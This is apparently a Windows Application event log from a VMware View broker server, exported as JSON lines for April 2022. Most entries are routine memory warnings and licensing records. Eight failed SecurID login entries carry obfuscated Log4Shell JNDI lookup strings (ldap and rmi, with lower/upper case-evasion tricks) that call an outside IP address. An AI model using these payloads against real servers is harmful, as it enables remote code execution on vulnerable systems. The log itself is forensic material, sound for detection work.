{"@timestamp":1648863842246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 02 03:44:02 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168480}}
{"@timestamp":1648871208657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168481}}
{"@timestamp":1648907046202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Apr 02 15:44:06 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168482}}
{"@timestamp":1648929660333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168483}}
{"@timestamp":1648950250168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Apr 03 03:44:10 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168484}}
{"@timestamp":1648991772997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168485}}
{"@timestamp":1648993454134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Apr 03 15:44:14 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168486}}
{"@timestamp":1649036658083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Apr 04 03:44:18 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168487}}
{"@timestamp":1649049864646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168488}}
{"@timestamp":1649079862028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Apr 04 15:44:22 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168489}}
{"@timestamp":1649112517377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168490}}
{"@timestamp":1649123066003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Apr 05 03:44:26 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168491}}
{"@timestamp":1649166269974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Apr 05 15:44:29 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168492}}
{"@timestamp":1649174810313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168493}}
{"@timestamp":1649179109220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://37.220.196.179...[51]\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 05 19:18:29 CEST 2022\n\tModule=Broker\n\tUserDisplayName=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://37.220.196.179...[51]\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168494}}
{"@timestamp":1649179111948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://37.220.196.179...[51]\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 05 19:18:31 CEST 2022\n\tModule=Broker\n\tUserDisplayName=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://37.220.196.179...[51]\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168495}}
{"@timestamp":1649179114441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user ${${::-j}ndi:rmi:37.220.196.179.c965ukejb1sihj97sh70cjg81zayydkx...[18]\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 05 19:18:34 CEST 2022\n\tModule=Broker\n\tUserDisplayName=${${::-j}ndi:rmi:37.220.196.179.c965ukejb1sihj97sh70cjg81zayydkx...[18]\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168496}}
{"@timestamp":1649179116942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user ${jndi:rmi:37.220.196.179.c965ukejb1sihj97sh70cjg81aoyydkoa.inte...[12]\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 05 19:18:36 CEST 2022\n\tModule=Broker\n\tUserDisplayName=${jndi:rmi:37.220.196.179.c965ukejb1sihj97sh70cjg81aoyydkoa.inte...[12]\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168497}}
{"@timestamp":1649179119443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user ${${lower:jndi}:${lower:rmi}:37.220.196.179.c965ukejb1sihj97sh70...[30]\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 05 19:18:39 CEST 2022\n\tModule=Broker\n\tUserDisplayName=${${lower:jndi}:${lower:rmi}:37.220.196.179.c965ukejb1sihj97sh70...[30]\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168498}}
{"@timestamp":1649179121947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user ${${lower:${lower:jndi}}:${lower:rmi}:37.220.196.179.c965ukejb1s...[39]\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 05 19:18:41 CEST 2022\n\tModule=Broker\n\tUserDisplayName=${${lower:${lower:jndi}}:${lower:rmi}:37.220.196.179.c965ukejb1s...[39]\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168499}}
{"@timestamp":1649179124456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}:37.220.196.179.c9...[48]\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 05 19:18:44 CEST 2022\n\tModule=Broker\n\tUserDisplayName=${${lower:j}${lower:n}${lower:d}i:${lower:rmi}:37.220.196.179.c9...[48]\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168500}}
{"@timestamp":1649179126940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}...[67]\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Tue Apr 05 19:18:46 CEST 2022\n\tModule=Broker\n\tUserDisplayName=${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}...[67]\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168501}}
{"@timestamp":1649209474124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Apr 06 03:44:34 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168502}}
{"@timestamp":1649235842945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168503}}
{"@timestamp":1649252678579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Apr 06 15:44:38 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168504}}
{"@timestamp":1649258273636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/26:15:17:53;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168505}}
{"@timestamp":1649258274184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600F9C535DF9BBB169FC75DAD7AAB2CC3B88E8FF770FE189E230AFB7A6AE53F1C0E3CFE5214A07A510A96C8853F7CB1FE52AA90EFB225149229978345D06C1A50EA097E264E79559BBC663B68EAEA277609757954F67D96A6A3F29AC6DA2A8D92159E54634D0F80B0D2F197B3E5967334BAB8DC11BA9DFB48381A38F76F574CF572AFDF6814261126D1AEDC2D0F926D9E4BE41FED8928ECAC273487DEE12CAEB39E1D71C24AB7F5C0BDF75FCD37819E6963E96CA7277C707C42ACF266EE07B79AE0639BC362F727E3EBBDBC38CE78AB9FAFBE82B59A5FD518678F5E27D98D7A717A24F506BE46512FEC8E91700EE147991F3342955E7A6A1B73E760DBB78ACD264B","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/04/06 15:17, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168506}}
{"@timestamp":1649258274349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600EC4A270D55226BF4ED9CE14E8FB6D0B2DFA87CE846B7D97ED32DB2DFA067CC1BDC0F9176FE4DE76D944029CE4E3FE653674C0E610CFC29F250710629FD630AF4CDFDAFBD56D155BAFA2C8081AF868B74E64BFD1101953D976CA78D9F1FF94D1A933B175181658F3C1AD84AD40ED8D401479DC7643FE6EA50D5CC4E74721D7D1376F14A700A261433937BD2178993358AB1EBA0D4C09779F90A705C1B80DC53B29DA16BC0E5A674B8F559DC7AF5527B3AD06AC503064E4FF31A76F1D9A04C90C3F9E5FCBC5FB4CCE9A50276DA7D7ED9F1FF486C1E1E726079EE139B0D0B56B8E43D9E282847F6C6A697CFC73C309E8340B1B317E96A4F26C933F7B83405A915A2","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/04/06 15:17"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168507}}
{"@timestamp":1649258274495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168508}}
{"@timestamp":1649258274496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168509}}
{"@timestamp":1649258274499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168510}}
{"@timestamp":1649258274567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168511}}
{"@timestamp":1649258274896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168512}}
{"@timestamp":1649258274920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168513}}
{"@timestamp":1649258275006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/03:15:17:54;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168514}}
{"@timestamp":1649258275068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168515}}
{"@timestamp":1649258305090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-04-13T15:17:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168516}}
{"@timestamp":1649295882690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Apr 07 03:44:42 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168517}}
{"@timestamp":1649298795857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168518}}
{"@timestamp":1649339086489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Apr 07 15:44:46 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168519}}
{"@timestamp":1649360488295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168520}}
{"@timestamp":1649382290453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 08 03:44:50 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168521}}
